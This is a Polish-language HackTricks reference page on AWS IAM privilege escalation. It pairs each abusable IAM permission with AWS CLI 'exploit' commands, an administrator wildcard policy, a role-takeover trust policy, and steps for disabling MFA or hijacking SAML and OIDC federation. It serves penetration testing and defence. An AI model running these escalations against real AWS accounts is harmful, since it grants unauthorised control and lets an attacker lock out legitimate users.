AWS - IAM Privesc

Wspieraj HackTricks

IAM

Więcej informacji o IAM znajdziesz tutaj:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Daje możliwość tworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia iam:SetDefaultPolicyVersion poprzez użycie flagi --set-as-default. Umożliwia to definiowanie niestandardowych uprawnień.

Komenda Eksploatacyjna:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Wpływ: Bezpośrednio eskaluje uprawnienia, pozwalając na dowolne działanie na dowolnym zasobie.

iam:SetDefaultPolicyVersion

Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.

Polecenie Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Wpływ: Pośrednia eskalacja uprawnień poprzez umożliwienie większej liczby uprawnień.

iam:CreateAccessKey

Umożliwia tworzenie identyfikatora klucza dostępu i tajnego klucza dostępu dla innego użytkownika, co może prowadzić do potencjalnej eskalacji uprawnień.

Eksploit:

aws iam create-access-key --user-name <target_user>

Wpływ: Bezpośrednia eskalacja uprawnień poprzez przejęcie rozszerzonych uprawnień innego użytkownika.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Pozwala na tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.

Eksploit dla tworzenia:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Eksploitacja dla Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Wpływ: Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako "dowolny" użytkownik.

iam:UpdateAccessKey

Pozwala na włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz.

Eksploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień poprzez reaktywację kluczy dostępu.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Umożliwia generowanie lub resetowanie poświadczeń dla określonych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.

Eksploit dla tworzenia:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit for Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Wpływ: Bezpośrednia eskalacja uprawnień w ramach uprawnień użytkownika do usług.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.

Eksploit dla użytkownika:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Eksploitacja dla Grupy:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Wpływ: Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje polityka.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.

Eksploit dla Roli:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Eksploitacja dla Polityk Wbudowanych:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Możesz użyć polityki takiej jak:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Wpływ: Bezpośrednia eskalacja uprawnień poprzez dodanie uprawnień za pomocą polityk.

iam:AddUserToGroup

Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.

Eksploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Wpływ: Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.

iam:UpdateAssumeRolePolicy

Pozwala na zmianę dokumentu polityki przyjmowania roli, umożliwiając przyjęcie roli i jej związanych uprawnień.

Eksploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gdzie polityka wygląda następująco, co daje użytkownikowi uprawnienia do przejęcia roli:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Wpływ: Bezpośrednia eskalacja uprawnień poprzez przejęcie uprawnień dowolnej roli.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Pozwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do potencjalnej pośredniej eskalacji uprawnień.

Eksploit dla przesyłania klucza SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit for MFA Deactivation:

Eksploitacja dezaktywacji MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Wpływ: Pośrednia eskalacja uprawnień poprzez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.

iam:ResyncMFADevice

Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulację ochroną MFA.

Polecenie Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Wpływ: Pośrednia eskalacja uprawnień poprzez dodanie lub manipulację urządzeniami MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Z tymi uprawnieniami możesz zmienić metadane XML połączenia SAML. Następnie, możesz nadużyć federacji SAML, aby zalogować się z dowolną rolą, która jej ufa.

Należy zauważyć, że robiąc to, prawowici użytkownicy nie będą mogli się zalogować. Jednakże, możesz uzyskać XML, aby wstawić swoje, zalogować się i skonfigurować poprzednie z powrotem.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Narzędzie zdolne do generowania metadanych SAML i logowania się z określoną rolą

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Niepewne) Jeśli atakujący ma te uprawnienia, może dodać nowy Thumbprint, aby zalogować się we wszystkich rolach ufających dostawcy.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referencje

Wspieraj HackTricks

Last updated